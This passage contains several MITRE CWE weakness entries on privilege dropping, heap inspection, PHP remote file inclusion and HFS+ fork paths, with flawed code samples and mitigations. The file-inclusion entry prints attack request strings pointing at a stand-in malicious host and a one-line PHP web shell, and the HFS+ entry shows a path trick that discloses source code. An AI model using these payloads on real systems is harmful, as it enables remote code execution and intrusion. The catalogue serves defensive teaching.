Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.

+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfCategoryCategory264Permissions, Privileges, and Access Controls
Development Concepts (primary)699
Weaknesses for Simplified Mapping of Published Vulnerabilities (primary)1003
ChildOfCategoryCategory632Weaknesses that Affect Files or Directories
Resource-specific Weaknesses (primary)631
ChildOfWeakness ClassWeakness Class664Improper Control of a Resource Through its Lifetime
Research Concepts1000
ChildOfWeakness ClassWeakness Class693Protection Mechanism Failure
Research Concepts (primary)1000
ChildOfCategoryCategory723OWASP Top Ten 2004 Category A2 - Broken Access Control
Weaknesses in OWASP Top Ten (2004) (primary)711
ChildOfCategoryCategory944SFP Secondary Cluster: Access Management
Software Fault Pattern (SFP) Clusters (primary)888
ParentOfWeakness BaseWeakness Base269Improper Privilege Management
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness ClassWeakness Class282Improper Ownership Management
Research Concepts (primary)1000
ParentOfWeakness ClassWeakness Class285Improper Authorization
Development Concepts (primary)699
Research Concepts (primary)1000
Weaknesses for Simplified Mapping of Published Vulnerabilities (primary)1003
ParentOfWeakness ClassWeakness Class286Incorrect User Management
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness ClassWeakness Class287Improper Authentication
Development Concepts (primary)699
Research Concepts (primary)1000
Weaknesses for Simplified Mapping of Published Vulnerabilities (primary)1003
ParentOfWeakness BaseWeakness Base346Origin Validation Error
Development Concepts699
Research Concepts1000
ParentOfWeakness VariantWeakness Variant782Exposed IOCTL with Insufficient Access Control
Development Concepts699
ParentOfWeakness ClassWeakness Class923Improper Restriction of Communication Channel to Intended Endpoints
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness VariantWeakness Variant942Overly Permissive Cross-domain Whitelist
Development Concepts (primary)699
Research Concepts (primary)1000
+ Affected Resources
  • File/Directory
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERAccess Control List (ACL) errors
WASC2Insufficient Authorization
+ References
[REF-11] M. Howard and D. LeBlanc. "Writing Secure Code". Chapter 6, "Determining Appropriate Access Control" Page 171. 2nd Edition. Microsoft. 2002.
[REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 17: Failure to Protect Stored Data." Page 253. McGraw-Hill. 2010.
+ Maintenance Notes

This item needs more work. Possible sub-categories include:

* Trusted group includes undesired entities (partially covered by CWE-286)

* Group can perform undesired actions

* ACL parse error does not fail closed

+ Content History
Submissions
Submission DateSubmitterOrganizationSource
PLOVERExternally Mined
Modifications
Modification DateModifierOrganizationSource
2008-07-01Eric DalciCigitalExternal
updated Time_of_Introduction
2008-09-08CWE Content TeamMITREInternal
updated Alternate_Terms, Background_Details, Description, Maintenance_Notes, Name, Relationships, Taxonomy_Mappings
2008-10-14CWE Content TeamMITREInternal
updated Relationships
2009-03-10CWE Content TeamMITREInternal
updated Relationships
2009-07-27CWE Content TeamMITREInternal
updated Alternate_Terms, Relationships
2009-12-28CWE Content TeamMITREInternal
updated Potential_Mitigations
2010-02-16CWE Content TeamMITREInternal
updated References, Taxonomy_Mappings
2010-06-21CWE Content TeamMITREInternal
updated Potential_Mitigations
2011-03-24
(Critical)
CWE Content TeamMITREInternal
Changed name and description; clarified difference between "access control" and "authorization."
2011-03-29CWE Content TeamMITREInternal
updated Alternate_Terms, Background_Details, Description, Maintenance_Notes, Name, Relationships
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences
2011-06-27CWE Content TeamMITREInternal
updated Common_Consequences
2012-05-11CWE Content TeamMITREInternal
updated References, Relationships
2012-10-30CWE Content TeamMITREInternal
updated Potential_Mitigations
2014-02-18CWE Content TeamMITREInternal
updated Related_Attack_Patterns, Relationships
2014-06-23CWE Content TeamMITREInternal
updated Relationships
2014-07-30CWE Content TeamMITREInternal
updated Relationships
2015-12-07CWE Content TeamMITREInternal
updated Relationships
Previous Entry Names
Change DatePrevious Entry Name
2008-09-09Access Control Issues
2011-03-29Access Control (Authorization) Issues

CWE-273: Improper Check for Dropped Privileges

Weakness ID: 273
Abstraction: Base
Status: Incomplete
Presentation Filter:
+ Description

Description Summary

The software attempts to drop privileges but does not check or incorrectly checks to see if the drop succeeded.

Extended Description

If the drop fails, the software will continue to run with the raised privileges, which might provide additional access to unprivileged users.

+ Time of Introduction
  • Architecture and Design
  • Implementation
  • Operation
+ Applicable Platforms

Languages

All

+ Modes of Introduction

This issue is likely to occur in restrictive environments in which the operating system or application provides fine-grained control over privilege management.

+ Common Consequences
ScopeEffect
Access Control

Technical Impact: Gain privileges / assume identity

If privileges are not dropped, neither are access rights of the user. Often these rights can be prevented from being dropped.

Access Control
Non-Repudiation

Technical Impact: Gain privileges / assume identity; Hide activities

If privileges are not dropped, in some cases the system may record actions as the user which is being impersonated rather than the impersonator.

+ Likelihood of Exploit

Medium

+ Demonstrative Examples

Example 1

This code attempts to take on the privileges of a user before creating a file, thus avoiding performing the action with unnecessarily high privileges:

(Bad Code)
Example Languages: C and C++ 
bool DoSecureStuff(HANDLE hPipe) {
bool fDataWritten = false;
ImpersonateNamedPipeClient(hPipe);
HANDLE hFile = CreateFile(...);
/../
RevertToSelf()
/../
}

The call to ImpersonateNamedPipeClient may fail, but the return value is not checked. If the call fails the code may execute with higher privileges than intended. In this case, an attacker could exploit this behavior to write a file to a location he does not have access to.

+ Observed Examples
ReferenceDescription
Program does not check return value when invoking functions to drop privileges, which could leave users with higher privileges than expected by forcing those functions to fail.
Program does not check return value when invoking functions to drop privileges, which could leave users with higher privileges than expected by forcing those functions to fail.
+ Potential Mitigations

Phase: Architecture and Design

Strategy: Separation of Privilege

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.

Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.

Phase: Implementation

Check the results of all functions that return a value and verify that the value is expected.

Effectiveness: High

Checking the return value of the function will typically be sufficient, however beware of race conditions (CWE-362) in a concurrent environment.

Phase: Implementation

In Windows, make sure that the process token has the SeImpersonatePrivilege(Microsoft Server 2003). Code that relies on impersonation for security must ensure that the impersonation succeeded, i.e., that a proper privilege demotion happened.

+ Background Details

In Windows based environments that have access control, impersonation is used so that access checks can be performed on a client identity by a server with higher privileges. By impersonating the client, the server is restricted to client-level security -- although in different threads it may have much higher privileges.

+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfWeakness ClassWeakness Class271Privilege Dropping / Lowering Errors
Development Concepts (primary)699
Research Concepts1000
ChildOfCategoryCategory634Weaknesses that Affect System Processes
Resource-specific Weaknesses (primary)631
ChildOfCategoryCategory748CERT C Secure Coding Section 50 - POSIX (POS)
Weaknesses Addressed by the CERT C Secure Coding Standard (primary)734
ChildOfWeakness ClassWeakness Class754Improper Check for Unusual or Exceptional Conditions
Research Concepts (primary)1000
ChildOfCategoryCategory962SFP Secondary Cluster: Unchecked Status Condition
Software Fault Pattern (SFP) Clusters (primary)888
PeerOfWeakness BaseWeakness Base252Unchecked Return Value
Research Concepts1000
MemberOfViewView884CWE Cross-section
CWE Cross-section (primary)884
+ Affected Resources
  • System Process
+ Causal Nature

Explicit

+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CLASPFailure to check whether privileges were dropped successfully
CERT C Secure CodingPOS37-CEnsure that privilege relinquishment is successful
Software Fault PatternsSFP4Unchecked Status Condition
+ Content History
Submissions
Submission DateSubmitterOrganizationSource
CLASPExternally Mined
Modifications
Modification DateModifierOrganizationSource
2008-07-01Eric DalciCigitalExternal
updated Time_of_Introduction
2008-09-08CWE Content TeamMITREInternal
updated Common_Consequences, Description, Modes_of_Introduction, Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities
2008-11-24CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
2009-03-10CWE Content TeamMITREInternal
updated Description, Name, Relationships
2009-05-27CWE Content TeamMITREInternal
updated Name
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences
2012-05-11CWE Content TeamMITREInternal
updated Observed_Examples, Relationships
2012-10-30CWE Content TeamMITREInternal
updated Demonstrative_Examples, Potential_Mitigations
2014-06-23CWE Content TeamMITREInternal
updated Background_Details, Other_Notes, Potential_Mitigations
2014-07-30CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
Previous Entry Names
Change DatePrevious Entry Name
2009-03-10Failure to Check Whether Privileges Were Dropped Successfully
2009-05-27Improper Check for Successfully Dropped Privileges

CWE-244: Improper Clearing of Heap Memory Before Release ('Heap Inspection')

Weakness ID: 244
Abstraction: Variant
Status: Draft
Presentation Filter:
+ Description

Description Summary

Using realloc() to resize buffers that store sensitive information can leave the sensitive information exposed to attack, because it is not removed from memory.

Extended Description

When sensitive data such as a password or an encryption key is not removed from memory, it could be exposed to an attacker using a "heap inspection" attack that reads the sensitive data using memory dumps or other methods. The realloc() function is commonly used to increase the size of a block of allocated memory. This operation often requires copying the contents of the old memory block into a new and larger block. This operation leaves the contents of the original block intact but inaccessible to the program, preventing the program from being able to scrub sensitive data from memory. If an attacker can later examine the contents of a memory dump, the sensitive data could be exposed.

+ Time of Introduction
  • Implementation
+ Applicable Platforms

Languages

C

C++

+ Common Consequences
ScopeEffect
Confidentiality
Other

Technical Impact: Read memory; Other

Be careful using vfork() and fork() in security sensitive code. The process state will not be cleaned up and will contain traces of data from past use.

+ Demonstrative Examples

Example 1

The following code calls realloc() on a buffer containing sensitive data:

(Bad Code)
Example Language:
cleartext_buffer = get_secret();...
cleartext_buffer = realloc(cleartext_buffer, 1024);
...
scrub_memory(cleartext_buffer, 1024);

There is an attempt to scrub the sensitive data from memory, but realloc() is used, so a copy of the data can still be exposed in the memory originally allocated for cleartext_buffer.

+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfWeakness BaseWeakness Base226Sensitive Information Uncleared Before Release
Research Concepts (primary)1000
ChildOfWeakness ClassWeakness Class227Improper Fulfillment of API Contract ('API Abuse')
Development Concepts (primary)699
Seven Pernicious Kingdoms (primary)700
ChildOfCategoryCategory633Weaknesses that Affect Memory
Resource-specific Weaknesses (primary)631
ChildOfCategoryCategory742CERT C Secure Coding Section 08 - Memory Management (MEM)
Weaknesses Addressed by the CERT C Secure Coding Standard (primary)734
ChildOfCategoryCategory876CERT C++ Secure Coding Section 08 - Memory Management (MEM)
Weaknesses Addressed by the CERT C++ Secure Coding Standard (primary)868
ChildOfCategoryCategory963SFP Secondary Cluster: Exposed Data
Software Fault Pattern (SFP) Clusters (primary)888
CanPrecedeWeakness ClassWeakness Class669Incorrect Resource Transfer Between Spheres
Research Concepts1000
MemberOfViewView630Weaknesses Examined by SAMATE
Weaknesses Examined by SAMATE (primary)630
MemberOfViewView884CWE Cross-section
CWE Cross-section (primary)884
+ Affected Resources
  • Memory
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
7 Pernicious KingdomsHeap Inspection
CERT C Secure CodingMEM03-CClear sensitive information stored in reusable resources returned for reuse
CERT C++ Secure CodingMEM03-CPPClear sensitive information stored in returned reusable resources
Software Fault PatternsSFP23Exposed Data
+ White Box Definitions

A weakness where code path has:

1. start statement that stores information in a buffer

2. end statement that resize the buffer and

3. path does not contain statement that performs cleaning of the buffer

+ Content History
Submissions
Submission DateSubmitterOrganizationSource
7 Pernicious KingdomsExternally Mined
Modifications
Modification DateModifierOrganizationSource
2008-08-01KDM AnalyticsExternal
added/updated white box definitions
2008-09-08CWE Content TeamMITREInternal
updated Applicable_Platforms, Name, Relationships, Other_Notes, Taxonomy_Mappings
2008-10-14CWE Content TeamMITREInternal
updated Relationships
2008-11-24CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
2009-05-27CWE Content TeamMITREInternal
updated Demonstrative_Examples, Name
2009-10-29CWE Content TeamMITREInternal
updated Common_Consequences, Description, Other_Notes
2010-12-13CWE Content TeamMITREInternal
updated Name
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences
2011-09-13CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITREInternal
updated Relationships
2014-07-30CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Heap Inspection
2008-09-09Failure to Clear Heap Memory Before Release
2009-05-27Failure to Clear Heap Memory Before Release (aka 'Heap Inspection')
2010-12-13Failure to Clear Heap Memory Before Release ('Heap Inspection')

CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')

Weakness ID: 98
Abstraction: Base
Status: Draft
Presentation Filter:
+ Description

Description Summary

The PHP application receives input from an upstream component, but it does not restrict or incorrectly restricts the input before its usage in "require," "include," or similar functions.

Extended Description

In certain versions and configurations of PHP, this can allow an attacker to specify a URL to a remote location from which the software will obtain the code to execute. In other cases in association with path traversal, the attacker can specify a local file that may contain executable statements that can be parsed by PHP.

+ Alternate Terms
Remote file include
RFI:

The Remote File Inclusion (RFI) acronym is often used by vulnerability researchers.

Local file inclusion:

This term is frequently used in cases in which remote download is disabled, or when the first part of the filename is not under the attacker's control, which forces use of relative path traversal (CWE-23) attack techniques to access files that may contain previously-injected PHP code, such as web access logs.

+ Time of Introduction
  • Implementation
  • Architecture and Design
+ Applicable Platforms

Languages

PHP: (Often)

+ Common Consequences
ScopeEffect
Integrity
Confidentiality
Availability

Technical Impact: Execute unauthorized code or commands

The attacker may be able to specify arbitrary code to be executed from a remote location. Alternatively, it may be possible to use normal program behavior to insert php code into files on the local machine which can then be included and force the code to execute since php ignores everything in the file except for the content between php specifiers.

+ Likelihood of Exploit

High to Very High

+ Detection Methods

Manual Analysis

Manual white-box analysis can be very effective for finding this issue, since there is typically a relatively small number of include or require statements in each program.

Effectiveness: High

Automated Static Analysis

The external control or influence of filenames can often be detected using automated static analysis that models data flow within the software.

Automated static analysis might not be able to recognize when proper input validation is being performed, leading to false positives - i.e., warnings that do not have any security consequences or require any code changes. If the program uses a customized input validation library, then some tools may allow the analyst to create custom signatures to detect usage of those routines.

+ Demonstrative Examples

Example 1

The following code attempts to include a function contained in a separate PHP page on the server. It builds the path to the file by using the supplied 'module_name' parameter and appending the string '/function.php' to it.

victim.php

(Bad Code)
Example Language: PHP 
$dir = $_GET['module_name'];
include($dir . "/function.php");

The problem with the above code is that the value of $dir is not restricted in any way, and a malicious user could manipulate the 'module_name' parameter to force inclusion of an unanticipated file. For example, an attacker could request the above PHP page (example.php) with a 'module_name' of "http://malicious.example.com" by using the following request string:

(Attack)
 
victim.php?module_name=http://malicious.example.com

Upon receiving this request, the code would set 'module_name' to the value "http://malicious.example.com" and would attempt to include http://malicious.example.com/function.php, along with any malicious code it contains.

For the sake of this example, assume that the malicious version of function.php looks like the following:

(Bad Code)
 
system($_GET['cmd']);

An attacker could now go a step further in our example and provide a request string as follows:

(Attack)
 
victim.php?module_name=http://malicious.example.com&cmd=/bin/ls%20-l

The code will attempt to include the malicious function.php file from the remote site. In turn, this file executes the command specified in the 'cmd' parameter from the query string. The end result is an attempt by tvictim.php to execute the potentially malicious command, in this case:

(Attack)
 
/bin/ls -l

Note that the above PHP example can be mitigated by setting allow_url_fopen to false, although this will not fully protect the code. See potential mitigations.

+ Observed Examples
ReferenceDescription
Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
Modification of assumed-immutable variable in configuration script leads to file inclusion.
PHP file inclusion.
PHP file inclusion.
PHP file inclusion.
PHP local file inclusion.
PHP remote file include.
PHP remote file include.
PHP remote file include.
PHP remote file include.
PHP remote file include.
Directory traversal vulnerability in PHP include statement.
Directory traversal vulnerability in PHP include statement.
PHP file inclusion issue, both remote and local; local include uses ".." and "%00" characters as a manipulation, but many remote file inclusion issues probably have this vector.
chain: library file sends a redirect if it is directly requested but continues to execute, allowing remote file inclusion and path traversal.
+ Potential Mitigations

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Phase: Architecture and Design

Strategy: Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [R.98.1] provide this capability.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phases: Architecture and Design; Operation

Strategy: Sandbox or Jail

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.

OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.

This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.

Be careful to avoid CWE-243 and other weaknesses related to jails.

Effectiveness: Limited

The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

Phases: Architecture and Design; Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [R.98.2]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When validating filenames, use stringent whitelists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a whitelist of allowable file extensions, which will help to avoid CWE-434.

Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a blacklist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Phases: Architecture and Design; Operation

Strategy: Identify and Reduce Attack Surface

Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.

This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.

Phases: Architecture and Design; Implementation

Strategy: Identify and Reduce Attack Surface

Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.

Many file inclusion problems occur because the programmer assumed that certain inputs could not be modified, especially for cookies and URL components.

Phase: Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

Effectiveness: Moderate

An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.

Phases: Operation; Implementation

Strategy: Environment Hardening

Develop and run your code in the most recent versions of PHP available, preferably PHP 6 or later. Many of the highly risky features in earlier PHP interpreters have been removed, restricted, or disabled by default.

Phases: Operation; Implementation

Strategy: Environment Hardening

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

Often, programmers do not protect direct access to files intended only to be included by core programs. These include files may assume that critical variables have already been initialized by the calling program. As a result, the use of register_globals combined with the ability to directly access the include file may allow attackers to conduct file inclusion attacks. This remains an extremely common pattern as of 2009.

Phase: Operation

Strategy: Environment Hardening

Set allow_url_fopen to false, which limits the ability to include files from remote locations.

Effectiveness: High

Be aware that some versions of PHP will still accept ftp:// and other URI schemes. In addition, this setting does not protect the code from path traversal attacks (CWE-22), which are frequently successful against the same vulnerable code that allows remote file inclusion.

+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfCategoryCategory632Weaknesses that Affect Files or Directories
Resource-specific Weaknesses (primary)631
ChildOfWeakness ClassWeakness Class706Use of Incorrectly-Resolved Name or Reference
Research Concepts1000
ChildOfCategoryCategory714OWASP Top Ten 2007 Category A3 - Malicious File Execution
Weaknesses in OWASP Top Ten (2007) (primary)629
ChildOfCategoryCategory727OWASP Top Ten 2004 Category A6 - Injection Flaws
Weaknesses in OWASP Top Ten (2004) (primary)711
ChildOfCategoryCategory8022010 Top 25 - Risky Resource Management
Weaknesses in the 2010 CWE/SANS Top 25 Most Dangerous Programming Errors (primary)800
ChildOfWeakness ClassWeakness Class829Inclusion of Functionality from Untrusted Control Sphere
Development Concepts (primary)699
Research Concepts (primary)1000
CanPrecedeWeakness ClassWeakness Class94Improper Control of Generation of Code ('Code Injection')
Development Concepts699
Research Concepts1000
PeerOfWeakness ClassWeakness Class216Containment Errors (Container Errors)
Research Concepts1000
CanAlsoBeCompound Element: CompositeCompound Element: Composite426Untrusted Search Path
Research Concepts1000
CanFollowWeakness ClassWeakness Class73External Control of File Name or Path
Research Concepts1000
CanFollowWeakness BaseWeakness Base184Incomplete Blacklist
Research Concepts1000
CanFollowWeakness BaseWeakness Base425Direct Request ('Forced Browsing')
Research Concepts1000
CanFollowWeakness BaseWeakness Base456Missing Initialization of a Variable
Research Concepts1000
CanFollowWeakness VariantWeakness Variant473PHP External Variable Modification
Research Concepts1000
+ Relationship Notes

This is frequently a functional consequence of other weaknesses. It is usually multi-factor with other factors (e.g. MAID), although not all inclusion bugs involve assumed-immutable data. Direct request weaknesses frequently play a role.

Can overlap directory traversal in local inclusion problems.

+ Research Gaps

Under-researched and under-reported. Other interpreted languages with "require" and "include" functionality could also product vulnerable applications, but as of 2007, PHP has been the focus. Any web-accessible language that uses executable file extensions is likely to have this type of issue, such as ASP, since .asp extensions are typically executable. Languages such as Perl are less likely to exhibit these problems because the .pl extension isn't always configured to be executable by the web server.

+ Affected Resources
  • File/Directory
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERPHP File Include
OWASP Top Ten 2007A3CWE More SpecificMalicious File Execution
WASC5Remote File Inclusion
+ References
[R.98.1] [REF-32] OWASP. "Testing for Path Traversal (OWASP-AZ-001)". <http://www.owasp.org/index.php/Testing_for_Path_Traversal_(OWASP-AZ-001)>.
[R.98.2] [REF-31] Sean Barnum and Michael Gegick. "Least Privilege". 2005-09-14. <https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html>.
[REF-12] Shaun Clowes. "A Study in Scarlet". <http://www.cgisecurity.com/lib/studyinscarlet.txt>.
[REF-13] Stefan Esser. "Suhosin". <http://www.hardened-php.net/suhosin/>.
Johannes Ullrich. "Top 25 Series - Rank 13 - PHP File Inclusion". SANS Software Security Institute. 2010-03-11. <http://blogs.sans.org/appsecstreetfighter/2010/03/11/top-25-series-rank-13-php-file-inclusion/>.
+ Content History
Submissions
Submission DateSubmitterOrganizationSource
PLOVERExternally Mined
Modifications
Modification DateModifierOrganizationSource
2008-07-01Eric DalciCigitalExternal
updated Time_of_Introduction
2008-09-08CWE Content TeamMITREInternal
updated Relationships, Relationship_Notes, Research_Gaps, Taxonomy_Mappings
2009-01-12CWE Content TeamMITREInternal
updated Relationships
2009-03-10CWE Content TeamMITREInternal
updated Relationships
2009-05-27CWE Content TeamMITREInternal
updated Description, Name
2009-12-28CWE Content TeamMITREInternal
updated Alternate_Terms, Applicable_Platforms, Demonstrative_Examples, Likelihood_of_Exploit, Potential_Mitigations, Time_of_Introduction
2010-02-16
(Critical)
CWE Content TeamMITREInternal
converted from Compound_Element to Weakness
2010-02-16CWE Content TeamMITREInternal
updated Alternate_Terms, Common_Consequences, Detection_Factors, Potential_Mitigations, References, Related_Attack_Patterns, Relationships, Taxonomy_Mappings, Type
2010-06-21CWE Content TeamMITREInternal
updated Potential_Mitigations, References
2010-09-27CWE Content TeamMITREInternal
updated Potential_Mitigations
2010-12-13CWE Content TeamMITREInternal
updated Potential_Mitigations
2011-06-27CWE Content TeamMITREInternal
updated Relationships
2012-10-30CWE Content TeamMITREInternal
updated Potential_Mitigations, References
2013-02-21CWE Content TeamMITREInternal
updated Alternate_Terms, Name, Observed_Examples
2017-01-19CWE Content TeamMITREInternal
updated Relationships
Previous Entry Names
Change DatePrevious Entry Name
2008-04-11PHP File Inclusion
2009-05-27Insufficient Control of Filename for Include/Require Statement in PHP Program (aka 'PHP File Inclusion')
2013-02-21Improper Control of Filename for Include/Require Statement in PHP Program ('PHP File Inclusion')

CWE-72: Improper Handling of Apple HFS+ Alternate Data Stream Path

Weakness ID: 72
Abstraction: Variant
Status: Incomplete
Presentation Filter:
+ Description

Description Summary

The software does not properly handle special paths that may identify the data or resource fork of a file on the HFS+ file system.

Extended Description

If the software chooses actions to take based on the file name, then if an attacker provides the data or resource fork, the software may take unexpected actions. Further, if the software intends to restrict access to a file, then an attacker might still be able to bypass intended access restrictions by requesting the data or resource fork for that file.

+ Time of Introduction
  • Architecture and Design
  • Implementation
+ Applicable Platforms

Languages

All

Operating Systems

Mac OS

+ Common Consequences
ScopeEffect
Confidentiality
Integrity

Technical Impact: Read files or directories; Modify files or directories

+ Demonstrative Examples

Example 1

A web server that interprets FILE.cgi as processing instructions could disclose the source code for FILE.cgi by requesting FILE.cgi/..namedfork/data. This might occur because the web server invokes the default handler which may return the contents of the file.

+ Observed Examples
ReferenceDescription
Server allows remote attackers to read files and resource fork content via HTTP requests to certain special file names related to multiple data streams in HFS+.
+ Background Details

The Apple HFS+ file system permits files to have multiple data input streams, accessible through special paths. The Mac OS X operating system provides a way to access the different data input streams through special paths and as an extended attribute:

- Resource fork: file/..namedfork/rsrc, file/rsrc (deprecated), xattr:com.apple.ResourceFork

- Data fork: file/..namedfork/data (only versions prior to Mac OS X v10.5)

Additionally, on filesystems that lack native support for multiple streams, the resource fork and file metadata may be stored in a file with "._" prepended to the name.

Forks can also be accessed through non-portable APIs.

Forks inherit the file system access controls of the file they belong to.

Programs need to control access to these paths, if the processing of a file system object is dependent on the structure of its path.

+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfWeakness BaseWeakness Base66Improper Handling of File Names that Identify Virtual Resources
Development Concepts (primary)699
Research Concepts (primary)1000
ChildOfCategoryCategory70Mac Virtual File Problems
Resource-specific Weaknesses (primary)631
Development Concepts699
ChildOfCategoryCategory981SFP Secondary Cluster: Path Traversal
Software Fault Pattern (SFP) Clusters (primary)888
+ Research Gaps

Under-studied

+ Theoretical Notes

This and similar problems exist because the same resource can have multiple identifiers that dictate which behavior can be performed on the resource.

+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERApple HFS+ alternate data stream
+ Content History
Submissions
Submission DateSubmitterOrganizationSource
PLOVERExternally Mined
Modifications
Modification DateModifierOrganizationSource
2008-07-01Eric DalciCigitalExternal
updated Time_of_Introduction
2008-09-08CWE Content TeamMITREInternal
updated Relationships, Other_Notes, Taxonomy_Mappings
2008-11-05David RemahlAppleExternal
clarified description, provided background details, and added demonstrative example
2008-11-24CWE Content TeamMITREInternal
updated Applicable_Platforms, Background_Details, Demonstrative_Examples, Description, Name, References
2009-05-27CWE Content TeamMITREInternal
updated Name
2009-10-29CWE Content TeamMITREInternal
updated Other_Notes, Theoretical_Notes
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences
2012-05-11CWE Content TeamMITREInternal
updated Observed_Examples, Relationships
2014-07-30CWE Content TeamMITREInternal
updated Relationships
Previous Entry Names
Change DatePrevious Entry Name
2008-11-24Apple HFS+ Alternate Data Stream
2009-05-27Failure to Handle Apple HFS+ Alternate Data Stream Path

CWE-178: Improper Handling of Case Sensitivity

Weakness ID: 178
Abstraction: Base
